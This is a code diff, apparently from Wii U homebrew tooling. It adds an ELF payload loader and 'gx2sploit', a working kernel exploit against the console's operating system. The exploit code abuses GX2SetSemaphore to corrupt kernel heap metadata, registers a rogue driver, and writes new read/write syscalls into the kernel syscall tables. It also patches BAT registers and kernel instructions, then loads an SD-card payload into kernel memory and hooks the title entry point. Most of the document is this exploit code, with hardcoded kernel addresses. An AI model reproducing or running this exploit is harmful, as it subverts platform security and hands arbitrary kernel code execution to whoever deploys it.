R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/source/elf_loading.c b/source/elf_loading.c new file mode 100644 index 0000000..b7e25cf --- /dev/null +++ b/source/elf_loading.c @@ -0,0 +1,104 @@ +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "elf_abi.h" +#include "elf_loading.h" + +int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut) { + char path[256]; + int result = 0; + if (!WHBMountSdCard()) { + WHBLogPrintf("Failed to mount SD Card..."); + result = -1; + goto exit; + } + + char * sdRootPath = WHBGetSdCardMountPath(); + sprintf(path, "%s/%s", sdRootPath,relativefilepath); + + WHBLogPrintf("Loading file %s.",path); + + *fileOut = WHBReadWholeFile(path, sizeOut); + if (!fileOut) { + result = -2; + WHBLogPrintf("WHBReadWholeFile(%s) returned NULL", path); + goto exit; + } + +exit: + WHBUnmountSdCard(); + return result; +} + +uint32_t load_loader_elf(unsigned char* baseAddress, const char* relativePath) { + char * elf_data = NULL; + uint32_t fileSize = 0; + if(LoadFileToMem(relativePath, &elf_data, &fileSize) != 0) { + OSFatal("Failed to load hook elf from SD."); + } + + Elf32_Ehdr *ehdr; + Elf32_Phdr *phdrs; + uint8_t *image; + int32_t i; + + ehdr = (Elf32_Ehdr *) elf_data; + + if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) { + return 0; + } + + if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) { + return 0; + } + + phdrs = (Elf32_Phdr*)(elf_data + ehdr->e_phoff); + + for(i = 0; i < ehdr->e_phnum; i++) { + if(phdrs[i].p_type != PT_LOAD) { + continue; + } + + if(phdrs[i].p_filesz > phdrs[i].p_memsz) { + continue; + } + + if(!phdrs[i].p_filesz) { + continue; + } + + uint32_t p_paddr = phdrs[i].p_paddr + (uint32_t)baseAddress; + image = (uint8_t *) (elf_data + phdrs[i].p_offset); + + memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); + DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); + + if(phdrs[i].p_flags & PF_X) { + ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); + } + } + + //! clear BSS + Elf32_Shdr *shdr = (Elf32_Shdr *) (elf_data + ehdr->e_shoff); + for(i = 0; i < ehdr->e_shnum; i++) { + const char *section_name = ((const char*)elf_data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; + if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') { + memset((void*)(shdr[i].sh_addr + baseAddress), 0, shdr[i].sh_size); + DCFlushRange((void*)(shdr[i].sh_addr + baseAddress), shdr[i].sh_size); + } else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') { + memset((void*)(shdr[i].sh_addr + baseAddress), 0, shdr[i].sh_size); + DCFlushRange((void*)(shdr[i].sh_addr + baseAddress), shdr[i].sh_size); + } + } + + MEMFreeToDefaultHeap((void*)elf_data); + + return ehdr->e_entry; +} diff --git a/source/elf_loading.h b/source/elf_loading.h new file mode 100644 index 0000000..975cf04 --- /dev/null +++ b/source/elf_loading.h @@ -0,0 +1,18 @@ +#ifndef ELF_LOADING_H +#define ELF_LOADING_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut); +uint32_t load_loader_elf(unsigned char* baseAddress, const char* relativePath); + +#ifdef __cplusplus +} +#endif + +#endif /* ELF_LOADING_H */ + diff --git a/source/gx2sploit.c b/source/gx2sploit.c new file mode 100644 index 0000000..84dc456 --- /dev/null +++ b/source/gx2sploit.c @@ -0,0 +1,318 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "elf_abi.h" +#include "elf_loading.h" + +#define JIT_ADDRESS 0x01800000 + +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#define KERN_CODE_READ 0xFFF023D4 +#define KERN_CODE_WRITE 0xFFF023F4 +#define KERN_DRVPTR 0xFFEAB530 +#define KERN_ADDRESS_TBL 0xFFEAB7A0 + +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + +#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 +#define BAT_SETUP_HOOK_ENTRY 0x00800000 +#define BAT4U_VAL 0x008000FF +#define BAT4L_VAL 0x30800012 + +#define BAT_SET_NOP_ADDR_1 0xFFF06B6C +#define BAT_SET_NOP_ADDR_2 0xFFF06BF8 +#define BAT_SET_NOP_ADDR_3 0xFFF003C8 +#define BAT_SET_NOP_ADDR_4 0xFFF003CC +#define BAT_SET_NOP_ADDR_5 0xFFF1D70C +#define BAT_SET_NOP_ADDR_6 0xFFF1D728 +#define BAT_SET_NOP_ADDR_7 0xFFF1D82C + +#define BAT_SET_NOP_ADDR_8 0xFFEE11C4 +#define BAT_SET_NOP_ADDR_9 0xFFEE11C8 + +#define ADDRESS_main_entry_hook 0x0101c56c +#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 + +#define NOP_ADDR(addr) \ + *(uint32_t*)addr = 0x60000000; \ + asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31)); + +extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2); +extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); +extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr); + +extern void SC0x25_SetupSyscall(void); +extern unsigned int SC0x65_ExploitCheck(unsigned int in); + +/* Find a gadget based on a sequence of words */ +static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) { + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) { + if (!memcmp(ptr, &code[0], length)) + return ptr; + } + + OSFatal("Failed to find gadget!"); + return NULL; +} + +#ifdef __cplusplus +extern "C" { +#endif + +void OSRestartGame(int,char**); + +#ifdef __cplusplus +} +#endif + +/* Chadderz's kernel write function */ +static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) { + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} + +int exploitThread(int argc, char **argv) { + OSDynLoad_Module gx2_handle; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + void (*pGX2SetSemaphore)(uint64_t *sem, int action); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore); + uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C; + + uint32_t gx2_init_attributes[9]; + uint8_t *gx2CommandBuffer = (uint8_t*)memalign(0x40, 0x400000); + + gx2_init_attributes[0] = 1; + gx2_init_attributes[1] = (uint32_t)gx2CommandBuffer; + gx2_init_attributes[2] = 2; + gx2_init_attributes[3] = 0x400000; + gx2_init_attributes[4] = 7; + gx2_init_attributes[5] = 0; + gx2_init_attributes[6] = 8; + gx2_init_attributes[7] = 0; + gx2_init_attributes[8] = 0; + GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk) + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find stuff */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + do_flush(0x100, 1); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + + DCFlushRange(syscalls, 0x04*2); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Setup kernel memmap for further exploitation (will be reverted later) */ + kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000); + kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800); + + /* clean shutdown */ + GX2Shutdown(); + free(gx2CommandBuffer); + return 0; +} + +static void setup_syscall(void) { + // set kernel code area write permissions + asm volatile("mtspr 570, %0" : : "r" (0xFFF00002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFF00032)); + asm volatile("eieio; isync"); + + uint32_t *targetAddress = (uint32_t*)BAT_SETUP_HOOK_ADDR; + targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h + targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l + targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7 + targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h + targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l + targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x7ce802a6; // mflr r7 + targetAddress[9] = 0x48000003 | (uint32_t)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31)); + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)); + + NOP_ADDR(BAT_SET_NOP_ADDR_1); + NOP_ADDR(BAT_SET_NOP_ADDR_2); + NOP_ADDR(BAT_SET_NOP_ADDR_3); + NOP_ADDR(BAT_SET_NOP_ADDR_4); + NOP_ADDR(BAT_SET_NOP_ADDR_5); + NOP_ADDR(BAT_SET_NOP_ADDR_6); + NOP_ADDR(BAT_SET_NOP_ADDR_7); + + asm volatile("eieio; isync"); + asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032)); + asm volatile("eieio; isync"); + + NOP_ADDR(BAT_SET_NOP_ADDR_8); + NOP_ADDR(BAT_SET_NOP_ADDR_9); + + asm volatile("sync; eieio; isync"); + asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL)); + asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL)); + asm volatile("eieio; isync"); +} + +int CheckKernelExploit(void) { + if(OSEffectiveToPhysical(0xA0000000) == 0x10000000) { + WHBLogPrintf("Running kernel setup"); + + unsigned char backupBuffer[0x40]; + + uint32_t *targetAddress = (uint32_t*)(0xA0000000 + (0x327FF000 - 0x10000000)); + memcpy(backupBuffer, targetAddress, sizeof(backupBuffer)); + + targetAddress[0] = 0x7c7082a6; // mfspr r3, 528 + targetAddress[1] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[2] = 0x7c7083a6; // mtspr 528, r3 + targetAddress[3] = 0x7c7282a6; // mfspr r3, 530 + targetAddress[4] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[5] = 0x7c7283a6; // mtspr 530, r3 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x3c600000 | (((uint32_t)setup_syscall) >> 16); // lis r3, setup_syscall@h + targetAddress[9] = 0x60630000 | (((uint32_t)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l + targetAddress[10] = 0x7c6903a6; // mtctr r3 + targetAddress[11] = 0x4e800420; // bctr + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + uint8_t *hookAddress = (uint8_t*)(0xA0000000 + (0x30000000 - 0x10000000)); + + uint32_t entryPoint = load_loader_elf(hookAddress, "wiiu/payload_hook.elf"); + + /* set our setup syscall to an unused position */ + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), 0x017FF000); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), 0x017FF000); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), 0x017FF000); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), 0x017FF000); + + /* run our kernel code :) */ + SC0x25_SetupSyscall(); + + /* revert setup syscall */ + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), 0x0); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), 0x0); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), 0x0); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), 0x0); + + /* repair data */ + memcpy(targetAddress, backupBuffer, sizeof(backupBuffer)); + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + unsigned int repl_addr = ADDRESS_main_entry_hook; + *(uint32_t*)(0xC1000000 + repl_addr) = 0x48000003 | entryPoint; + DCFlushRange((void*)0xC1000000 + repl_addr, 4); + ICInvalidateRange((void*)(repl_addr), 4); + + /* restore kernel memory table to original state */ + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); + + WHBLogPrintf("Kernel setup finished"); + return 1; + } else { + WHBLogPrintf("Running GX2Sploit"); + /* Make a thread to modify the semaphore */ + OSThread *thread = (OSThread*)memalign(8, 0x1000); + uint8_t *stack = (uint8_t*)memalign(0x40, 0x2000); + + if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) { + OSFatal("Failed to create thread"); + } + + OSResumeThread(thread); + OSJoinThread(thread, 0); + free(thread); + free(stack); + + WHBLogPrintf("GX2Sploit done"); + return 0; + } + + // else everything is setup + return 1; +} diff --git a/source/gx2sploit.h b/source/gx2sploit.h new file mode 100644 index 0000000..0d1ee31 --- /dev/null +++ b/source/gx2sploit.h @@ -0,0 +1,14 @@ +#ifndef GX2SPLOIT_H_ +#define GX2SPLOIT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int CheckKernelExploit(void); + +#ifdef __cplusplus +} +#endif + +#endif // GX2SPLOIT_H_ diff --git a/source/gx2sploit_asm.s b/source/gx2sploit_asm.s new file mode 100644 index 0000000..022f23e --- /dev/null +++ b/source/gx2sploit_asm.s @@ -0,0 +1,31 @@ + .globl set_semaphore_phys +set_semaphore_phys: + mflr 0 + stwu 1, -0x20(1) + stw 31, 0x1C(1) + stw 30, 0x18(1) + stw 0, 0x24(1) + + mtctr 3 + mr 3, 4 + mr 30, 5 + li 31, 1 + bctr + + .globl Register +Register: + li 0,0x3200 + sc + blr + + .globl CopyToSaveArea +CopyToSaveArea: + li 0,0x4800 + sc + blr + + .globl SC0x25_SetupSyscall +SC0x25_SetupSyscall: + li 0,0x2500 + sc + blr diff --git a/source/main.cpp b/source/main.cpp new file mode 100644 index 0000000..43fb95c --- /dev/null +++ b/source/main.cpp @@ -0,0 +1,39 @@ +#include +#include + +#include + +#include +#include +#include + +#include "gx2sploit.h" + +#ifdef __cplusplus +extern "C" { +#endif + +// Similar to SYSRelaunchTitle but with less checks +void OSRestartGame(int,char**); + +#ifdef __cplusplus +} +#endif + +int main(int argc, char **argv) { + WHBLogUdpInit(); + if(CheckKernelExploit()) { + // When the kernel exploit is set up successfully, we signal the rpx redirecting to move on. + int mcpFd = IOS_Open("/dev/mcp", (IOSOpenMode)0); + if(mcpFd >= 0) { + int out = 0; + const char * path = "done"; + IOS_Ioctl(mcpFd, 100, (void*)path, strlen(path), &out, sizeof(out)); + IOS_Close(mcpFd); + } + } + WHBLogUdpDeinit(); + OSRestartGame(argc,argv); + + return 0; +}